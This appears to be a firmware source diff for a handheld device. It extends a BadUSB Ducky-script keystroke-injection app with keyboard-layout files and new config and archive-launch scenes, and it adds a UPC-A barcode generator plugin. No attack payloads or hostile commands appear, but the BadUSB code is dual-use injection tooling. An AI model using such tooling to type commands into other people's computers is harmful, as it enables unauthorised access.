HID_KEYPAD_1,
@ -203,10 +209,10 @@ static bool ducky_altstring(const char* param) {
return state;
}
static bool ducky_string(const char* param) {
static bool ducky_string(BadUsbScript* bad_usb, const char* param) {
uint32_t i = 0;
while(param[i] != '\0') {
uint16_t keycode = HID_ASCII_TO_KEY(param[i]);
uint16_t keycode = BADUSB_ASCII_TO_KEY(bad_usb, param[i]);
if(keycode != HID_KEYBOARD_NONE) {
furi_hal_hid_kb_press(keycode);
furi_hal_hid_kb_release(keycode);
@ -216,7 +222,7 @@ static bool ducky_string(const char* param) {
return true;
}
static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
static uint16_t ducky_get_keycode(BadUsbScript* bad_usb, const char* param, bool accept_chars) {
for(uint8_t i = 0; i < (sizeof(ducky_keys) / sizeof(ducky_keys[0])); i++) {
uint8_t key_cmd_len = strlen(ducky_keys[i].name);
if((strncmp(param, ducky_keys[i].name, key_cmd_len) == 0) &&
@ -225,7 +231,7 @@ static uint16_t ducky_get_keycode(const char* param, bool accept_chars) {
}
}
if((accept_chars) && (strlen(param) > 0)) {
return (HID_ASCII_TO_KEY(param[0]) & 0xFF);
return (BADUSB_ASCII_TO_KEY(bad_usb, param[0]) & 0xFF);
}
return 0;
}
@ -252,6 +258,9 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
} else if(strncmp(line_tmp, ducky_cmd_id, strlen(ducky_cmd_id)) == 0) {
// ID - executed in ducky_script_preload
return (0);
} else if(strncmp(line_tmp, ducky_cmd_lang, strlen(ducky_cmd_lang)) == 0) {
// DUCKY_LANG - ignore command to retain compatibility with existing scripts
return (0);
} else if(strncmp(line_tmp, ducky_cmd_delay, strlen(ducky_cmd_delay)) == 0) {
// DELAY
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
@ -271,7 +280,7 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
} else if(strncmp(line_tmp, ducky_cmd_string, strlen(ducky_cmd_string)) == 0) {
// STRING
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
state = ducky_string(line_tmp);
state = ducky_string(bad_usb, line_tmp);
return (state) ? (0) : SCRIPT_STATE_ERROR;
} else if(strncmp(line_tmp, ducky_cmd_altchar, strlen(ducky_cmd_altchar)) == 0) {
// ALTCHAR
@ -294,12 +303,12 @@ static int32_t ducky_parse_line(BadUsbScript* bad_usb, string_t line) {
return (state) ? (0) : SCRIPT_STATE_ERROR;
} else {
// Special keys + modifiers
uint16_t key = ducky_get_keycode(line_tmp, false);
uint16_t key = ducky_get_keycode(bad_usb, line_tmp, false);
if(key == HID_KEYBOARD_NONE) return SCRIPT_STATE_ERROR;
if((key & 0xFF00) != 0) {
// It's a modifier key
line_tmp = &line_tmp[ducky_get_command_len(line_tmp) + 1];
key |= ducky_get_keycode(line_tmp, true);
key |= ducky_get_keycode(bad_usb, line_tmp, true);
}
furi_hal_hid_kb_press(key);
furi_hal_hid_kb_release(key);
@ -585,12 +594,19 @@ static int32_t bad_usb_worker(void* context) {
return 0;
}
static void bad_usb_script_set_default_keyboard_layout(BadUsbScript* bad_usb) {
furi_assert(bad_usb);
memset(bad_usb->layout, HID_KEYBOARD_NONE, sizeof(bad_usb->layout));
memcpy(bad_usb->layout, hid_asciimap, MIN(sizeof(hid_asciimap), sizeof(bad_usb->layout)));
}
BadUsbScript* bad_usb_script_open(string_t file_path) {
furi_assert(file_path);
BadUsbScript* bad_usb = malloc(sizeof(BadUsbScript));
string_init(bad_usb->file_path);
string_set(bad_usb->file_path, file_path);
bad_usb_script_set_default_keyboard_layout(bad_usb);
bad_usb->st.state = BadUsbStateInit;
@ -613,6 +629,30 @@ void bad_usb_script_close(BadUsbScript* bad_usb) {
free(bad_usb);
}
void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path) {
furi_assert(bad_usb);
if((bad_usb->st.state == BadUsbStateRunning) || (bad_usb->st.state == BadUsbStateDelay)) {
// do not update keyboard layout while a script is running
return;
}
File* layout_file = storage_file_alloc(furi_record_open(RECORD_STORAGE));
if(!string_empty_p(layout_path)) {
if(storage_file_open(
layout_file, string_get_cstr(layout_path), FSAM_READ, FSOM_OPEN_EXISTING)) {
uint16_t layout[128];
if(storage_file_read(layout_file, layout, sizeof(layout)) == sizeof(layout)) {
memcpy(bad_usb->layout, layout, sizeof(layout));
}
}
storage_file_close(layout_file);
} else {
bad_usb_script_set_default_keyboard_layout(bad_usb);
}
storage_file_free(layout_file);
}
void bad_usb_script_toggle(BadUsbScript* bad_usb) {
furi_assert(bad_usb);
furi_thread_flags_set(furi_thread_get_id(bad_usb->thread), WorkerEvtToggle);
@ -622,3 +662,7 @@ BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb) {
furi_assert(bad_usb);
return &(bad_usb->st);
}
void bad_usb_script_set_run_state(BadUsbState* st, bool run) {
st->run_from_p = run;
}

View file

@ -22,6 +22,7 @@ typedef enum {
typedef struct {
BadUsbWorkerState state;
bool run_from_p;
uint16_t line_cur;
uint16_t line_nb;
uint32_t delay_remain;
@ -32,6 +33,8 @@ BadUsbScript* bad_usb_script_open(string_t file_path);
void bad_usb_script_close(BadUsbScript* bad_usb);
void bad_usb_script_set_keyboard_layout(BadUsbScript* bad_usb, string_t layout_path);
void bad_usb_script_start(BadUsbScript* bad_usb);
void bad_usb_script_stop(BadUsbScript* bad_usb);
@ -40,6 +43,8 @@ void bad_usb_script_toggle(BadUsbScript* bad_usb);
BadUsbState* bad_usb_script_get_state(BadUsbScript* bad_usb);
void bad_usb_script_set_run_state(BadUsbState* st, bool run);
#ifdef __cplusplus
}
#endif

View file

@ -0,0 +1,3 @@
#pragma once
#define BAD_USB_SETTINGS_FILE_NAME ".badusb.settings"

View file

@ -0,0 +1,53 @@
#include "../bad_usb_app_i.h"
#include "furi_hal_power.h"
#include "furi_hal_usb.h"
enum SubmenuIndex {
SubmenuIndexKeyboardLayout,
};
void bad_usb_scene_config_submenu_callback(void* context, uint32_t index) {
BadUsbApp* bad_usb = context;
view_dispatcher_send_custom_event(bad_usb->view_dispatcher, index);
}
void bad_usb_scene_config_on_enter(void* context) {
BadUsbApp* bad_usb = context;
Submenu* submenu = bad_usb->submenu;
submenu_add_item(
submenu,
"Keyboard layout",
SubmenuIndexKeyboardLayout,
bad_usb_scene_config_submenu_callback,
bad_usb);
submenu_set_selected_item(
submenu, scene_manager_get_scene_state(bad_usb->scene_manager, BadUsbSceneConfig));
view_dispatcher_switch_to_view(bad_usb->view_dispatcher, BadUsbAppViewConfig);
}
bool bad_usb_scene_config_on_event(void* context, SceneManagerEvent event) {
BadUsbApp* bad_usb = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
scene_manager_set_scene_state(bad_usb->scene_manager, BadUsbSceneConfig, event.event);
consumed = true;
if(event.event == SubmenuIndexKeyboardLayout) {
scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneConfigLayout);
} else {
furi_crash("Unknown key type");
}
}
return consumed;
}
void bad_usb_scene_config_on_exit(void* context) {
BadUsbApp* bad_usb = context;
Submenu* submenu = bad_usb->submenu;
submenu_reset(submenu);
}

View file

@ -1,3 +1,6 @@
ADD_SCENE(bad_usb, file_select, FileSelect)
ADD_SCENE(bad_usb, work, Work)
ADD_SCENE(bad_usb, pwork, PWork)
ADD_SCENE(bad_usb, error, Error)
ADD_SCENE(bad_usb, config, Config)
ADD_SCENE(bad_usb, config_layout, ConfigLayout)

View file

@ -0,0 +1,50 @@
#include "../bad_usb_app_i.h"
#include "furi_hal_power.h"
#include "furi_hal_usb.h"
#include <storage/storage.h>
static bool bad_usb_layout_select(BadUsbApp* bad_usb) {
furi_assert(bad_usb);
string_t predefined_path;
string_init(predefined_path);
if(!string_empty_p(bad_usb->keyboard_layout)) {
string_set(predefined_path, bad_usb->keyboard_layout);
} else {
string_set_str(predefined_path, BAD_USB_APP_PATH_LAYOUT_FOLDER);
}
// Input events and views are managed by file_browser
bool res = dialog_file_browser_show(
bad_usb->dialogs,
bad_usb->keyboard_layout,
predefined_path,
BAD_USB_APP_LAYOUT_EXTENSION,
true,
&I_keyboard_10px,
true);
string_clear(predefined_path);
return res;
}
void bad_usb_scene_config_layout_on_enter(void* context) {
BadUsbApp* bad_usb = context;
if(bad_usb_layout_select(bad_usb)) {
bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout);
}
scene_manager_previous_scene(bad_usb->scene_manager);
}
bool bad_usb_scene_config_layout_on_event(void* context, SceneManagerEvent event) {
UNUSED(context);
UNUSED(event);
// BadUsbApp* bad_usb = context;
return false;
}
void bad_usb_scene_config_layout_on_exit(void* context) {
UNUSED(context);
// BadUsbApp* bad_usb = context;
}

View file

@ -10,7 +10,7 @@ static bool bad_usb_file_select(BadUsbApp* bad_usb) {
bad_usb->dialogs,
bad_usb->file_path,
bad_usb->file_path,
BAD_USB_APP_EXTENSION,
BAD_USB_APP_SCRIPT_EXTENSION,
true,
&I_badusb_10px,
true);
@ -22,12 +22,18 @@ void bad_usb_scene_file_select_on_enter(void* context) {
BadUsbApp* bad_usb = context;
furi_hal_usb_disable();
if(bad_usb->bad_usb_script) {
bad_usb_script_close(bad_usb->bad_usb_script);
bad_usb->bad_usb_script = NULL;
}
if(bad_usb_file_select(bad_usb)) {
bad_usb->bad_usb_script = bad_usb_script_open(bad_usb->file_path);
bad_usb_script_set_keyboard_layout(bad_usb->bad_usb_script, bad_usb->keyboard_layout);
scene_manager_next_scene(bad_usb->scene_manager, BadUsbSceneWork);
} else {
furi_hal_usb_enable();
//scene_manager_previous_scene(bad_usb->scene_manager);
view_dispatcher_stop(bad_usb->view_dispatcher);
}
}

View file

@ -0,0 +1,56 @@
#include "../bad_usb_script.h"
#include "../bad_usb_app_i.h"
#include "../views/bad_usb_view.h"
#include "furi_hal.h"
#include "m-string.h"
#include "toolbox/path.h"
void bad_usb_scene_pwork_button_callback(InputKey key, void* context) {
furi_assert(context);
BadUsbApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, key);
}
bool bad_usb_scene_pwork_on_event(void* context, SceneManagerEvent event) {
BadUsbApp* app = context;
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == InputKeyOk) {
bad_usb_script_toggle(app->bad_usb_script);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
}
return consumed;
}
void bad_usb_scene_pwork_on_enter(void* context) {
BadUsbApp* app = context;
string_t file_name;
string_init(file_name);
path_extract_filename(app->file_path, file_name, true);
bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name));
app->bad_usb_script = bad_usb_script_open(app->file_path);
bad_usb_script_set_keyboard_layout(app->bad_usb_script, app->keyboard_layout);
string_clear(file_name);
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
// set app state - is executed from archive app
bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), true);
bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_pwork_button_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork);
}
void bad_usb_scene_pwork_on_exit(void* context) {
UNUSED(context);
//BadUsbApp* app = context;
//bad_usb_script_close(app->bad_usb_script);
}

View file

@ -5,10 +5,10 @@
#include "m-string.h"
#include "toolbox/path.h"
void bad_usb_scene_work_ok_callback(InputType type, void* context) {
void bad_usb_scene_work_button_callback(InputKey key, void* context) {
furi_assert(context);
BadUsbApp* app = context;
view_dispatcher_send_custom_event(app->view_dispatcher, type);
view_dispatcher_send_custom_event(app->view_dispatcher, key);
}
bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) {
@ -16,8 +16,13 @@ bool bad_usb_scene_work_on_event(void* context, SceneManagerEvent event) {
bool consumed = false;
if(event.type == SceneManagerEventTypeCustom) {
if(event.event == InputKeyLeft) {
scene_manager_next_scene(app->scene_manager, BadUsbSceneConfig);
consumed = true;
} else if(event.event == InputKeyOk) {
bad_usb_script_toggle(app->bad_usb_script);
consumed = true;
}
} else if(event.type == SceneManagerEventTypeTick) {
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
}
@ -29,20 +34,19 @@ void bad_usb_scene_work_on_enter(void* context) {
string_t file_name;
string_init(file_name);
path_extract_filename(app->file_path, file_name, true);
bad_usb_set_file_name(app->bad_usb_view, string_get_cstr(file_name));
app->bad_usb_script = bad_usb_script_open(app->file_path);
string_clear(file_name);
bad_usb_set_state(app->bad_usb_view, bad_usb_script_get_state(app->bad_usb_script));
bad_usb_set_ok_callback(app->bad_usb_view, bad_usb_scene_work_ok_callback, app);
// set app state - is executed from archive app
bad_usb_script_set_run_state(bad_usb_script_get_state(app->bad_usb_script), false);
bad_usb_set_button_callback(app->bad_usb_view, bad_usb_scene_work_button_callback, app);
view_dispatcher_switch_to_view(app->view_dispatcher, BadUsbAppViewWork);
}
void bad_usb_scene_work_on_exit(void* context) {
BadUsbApp* app = context;
bad_usb_script_close(app->bad_usb_script);
UNUSED(context);
}

View file

@ -6,7 +6,7 @@
struct BadUsb {
View* view;
BadUsbOkCallback callback;
BadUsbButtonCallback callback;
void* context;
};
@ -34,6 +34,12 @@ static void bad_usb_draw_callback(Canvas* canvas, void* _model) {
elements_button_center(canvas, "Stop");
}
if(((model->state.state == BadUsbStateNotConnected) ||
(model->state.state == BadUsbStateIdle) || (model->state.state == BadUsbStateDone)) &&
!model->state.run_from_p) {
elements_button_left(canvas, "Config");
}
if(model->state.state == BadUsbStateNotConnected) {
canvas_draw_icon(canvas, 4, 22, &I_Clock_18x18);
canvas_set_font(canvas, FontPrimary);
@ -106,10 +112,10 @@ static bool bad_usb_input_callback(InputEvent* event, void* context) {
bool consumed = false;
if(event->type == InputTypeShort) {
if(event->key == InputKeyOk) {
if((event->key == InputKeyLeft) || (event->key == InputKeyOk)) {
consumed = true;
furi_assert(bad_usb->callback);
bad_usb->callback(InputTypeShort, bad_usb->context);
bad_usb->callback(event->key, bad_usb->context);
}
}
@ -139,7 +145,7 @@ View* bad_usb_get_view(BadUsb* bad_usb) {
return bad_usb->view;
}
void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context) {
void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context) {
furi_assert(bad_usb);
furi_assert(callback);
with_view_model(

View file

@ -4,7 +4,7 @@
#include "../bad_usb_script.h"
typedef struct BadUsb BadUsb;
typedef void (*BadUsbOkCallback)(InputType type, void* context);
typedef void (*BadUsbButtonCallback)(InputKey key, void* context);
BadUsb* bad_usb_alloc();
@ -12,7 +12,7 @@ void bad_usb_free(BadUsb* bad_usb);
View* bad_usb_get_view(BadUsb* bad_usb);
void bad_usb_set_ok_callback(BadUsb* bad_usb, BadUsbOkCallback callback, void* context);
void bad_usb_set_button_callback(BadUsb* bad_usb, BadUsbButtonCallback callback, void* context);
void bad_usb_set_file_name(BadUsb* bad_usb, const char* name);

View file

@ -0,0 +1,13 @@
App(
appid="barcode_generator",
name="UPC-A Generator",
apptype=FlipperAppType.PLUGIN,
entry_point="barcode_UPCA_generator_app",
cdefines=["APP_BARCODE_GEN"],
requires=[
"gui",
"dialogs",
],
stack_size=1 * 1024,
order=50,
)

View file

@ -0,0 +1,544 @@
#include <furi.h>
#include <gui/gui.h>
#include <input/input.h>
#include <stdlib.h>
#define BARCODE_STARTING_POS 16
#define BARCODE_HEIGHT 50
#define BARCODE_Y_START 3
#define BARCODE_TEXT_OFFSET 9
typedef enum {
EventTypeTick,
EventTypeKey,
} EventType;
typedef struct {
EventType type;
InputEvent input;
} PluginEvent;
typedef struct {
int barcodeNumeral[12]; //The current barcode number
int editingIndex; //The index of the editing symbol
int menuIndex; //The index of the menu cursor
int modeIndex; //Set to 0 for view, 1 for edit, 2 for menu
bool doParityCalculation; //Should do parity check?
} PluginState;
void number_0(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #0 on left is OOOIIOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "0");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_1(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #1 on left is OOIIOOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "1");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_2(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #2 on left is OOIOOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "2");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 2, BARCODE_HEIGHT); //OO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_3(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #3 on left is OIIIIOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "3");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_4(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #4 on left is OIOOOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "4");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_5(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #5 on left is OIIOOOI
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "5");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 6, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
}
void number_6(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #6 on left is OIOIIII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "6");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 2, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 4, BARCODE_HEIGHT); //IIII
}
void number_7(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #7 on left is OIIIOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "7");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
void number_8(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #8 on left is OIIOIII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "8");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 1, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 3, BARCODE_HEIGHT); //III
}
void number_9(
Canvas* canvas,
bool rightHand,
int startingPosition) { //UPC Code for #9 on left is OOOIOII
canvas_set_color(canvas, ColorBlack);
canvas_draw_str(
canvas, startingPosition, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, "9");
if(rightHand) {
canvas_set_color(canvas, ColorBlack);
} else {
canvas_set_color(canvas, ColorWhite);
}
canvas_draw_box(canvas, startingPosition, BARCODE_Y_START, 3, BARCODE_HEIGHT); //OOO
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 3, BARCODE_Y_START, 1, BARCODE_HEIGHT); //I
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 4, BARCODE_Y_START, 1, BARCODE_HEIGHT); //O
canvas_invert_color(canvas);
canvas_draw_box(canvas, startingPosition + 5, BARCODE_Y_START, 2, BARCODE_HEIGHT); //II
}
static void render_callback(Canvas* const canvas, void* ctx) {
PluginState* plugin_state = acquire_mutex((ValueMutex*)ctx, 25);
if(plugin_state == NULL) {
return;
}
//I originally had all of these values being generated at runtime by math, but that kept giving me trouble.
int editingMarkerPosition[12] = {
19,
26,
33,
40,
47,
54,
66,
73,
80,
87,
94,
101,
};
int menuTextLocations[6] = {
20,
30,
40,
50,
60,
70,
};
if(plugin_state->modeIndex == 2) { //if in the menu
canvas_set_color(canvas, ColorBlack);
canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "MENU");
canvas_draw_frame(canvas, 50, 0, 29, 11); //box around Menu
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[0], AlignCenter, AlignCenter, "View");
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[1], AlignCenter, AlignCenter, "Edit");
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[2], AlignCenter, AlignCenter, "Parity?");
canvas_draw_frame(canvas, 81, menuTextLocations[2] - 2, 6, 6);
if(plugin_state->doParityCalculation == true) {
canvas_draw_box(canvas, 83, menuTextLocations[2], 2, 2);
}
canvas_draw_str_aligned(
canvas, 64, menuTextLocations[3], AlignCenter, AlignCenter, "TODO");
canvas_draw_disc(
canvas, 40, menuTextLocations[plugin_state->menuIndex], 2); //draw menu cursor
}
if(plugin_state->modeIndex != 2) { //if not in the menu
canvas_set_color(canvas, ColorBlack);
//canvas_draw_glyph(canvas, 115, BARCODE_Y_START + BARCODE_HEIGHT + BARCODE_TEXT_OFFSET, 'M');
canvas_draw_box(canvas, BARCODE_STARTING_POS, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 1, 1, 1, 50); //left blank on purpose
canvas_draw_box(
canvas,
(BARCODE_STARTING_POS + 2),
BARCODE_Y_START,
1,
BARCODE_HEIGHT + 2); //start saftey
for(int index = 0; index < 12; index++) {
bool isOnRight = false;
if(index >= 6) {
isOnRight = true;
}
if((index == 11) && (plugin_state->doParityCalculation)) { //calculate the check digit
int checkDigit =
plugin_state->barcodeNumeral[0] + plugin_state->barcodeNumeral[2] +
plugin_state->barcodeNumeral[4] + plugin_state->barcodeNumeral[6] +
plugin_state->barcodeNumeral[8] + plugin_state->barcodeNumeral[10];
//add all odd positions Confusing because 0index
checkDigit = checkDigit * 3; //times 3
checkDigit += plugin_state->barcodeNumeral[1] + plugin_state->barcodeNumeral[3] +
plugin_state->barcodeNumeral[5] + plugin_state->barcodeNumeral[7] +
plugin_state->barcodeNumeral[9];
//add all even positions to above. Confusing because 0index
checkDigit = checkDigit % 10; //mod 10
//if m - 0 then x12 = 0, otherwise x12 is 10 - m
if(checkDigit == 0) {
plugin_state->barcodeNumeral[11] = 0;
} else {
checkDigit = 10 - checkDigit;
plugin_state->barcodeNumeral[11] = checkDigit;
}
}
switch(plugin_state->barcodeNumeral[index]) {
case 0:
number_0(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 1:
number_1(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 2:
number_2(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 3:
number_3(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 4:
number_4(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 5:
number_5(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 6:
number_6(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 7:
number_7(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 8:
number_8(canvas, isOnRight, editingMarkerPosition[index]);
break;
case 9:
number_9(canvas, isOnRight, editingMarkerPosition[index]);
break;
}
}
canvas_set_color(canvas, ColorBlack);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 45, BARCODE_Y_START, 1, BARCODE_HEIGHT);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 46, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 47, BARCODE_Y_START, 1, BARCODE_HEIGHT);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 48, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, BARCODE_STARTING_POS + 49, BARCODE_Y_START, 1, BARCODE_HEIGHT);
if(plugin_state->modeIndex == 1) {
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(
canvas,
editingMarkerPosition[plugin_state->editingIndex],
63,
7,
1); //draw editing cursor
}
canvas_set_color(canvas, ColorBlack);
canvas_draw_box(canvas, BARCODE_STARTING_POS + 92, BARCODE_Y_START, 1, BARCODE_HEIGHT + 2);
//canvas_draw_box(canvas, 14, 1, 1, 50); //left blank on purpose
canvas_draw_box(
canvas,
(BARCODE_STARTING_POS + 2) + 92,
BARCODE_Y_START,
1,
BARCODE_HEIGHT + 2); //end safety
}
release_mutex((ValueMutex*)ctx, plugin_state);
}
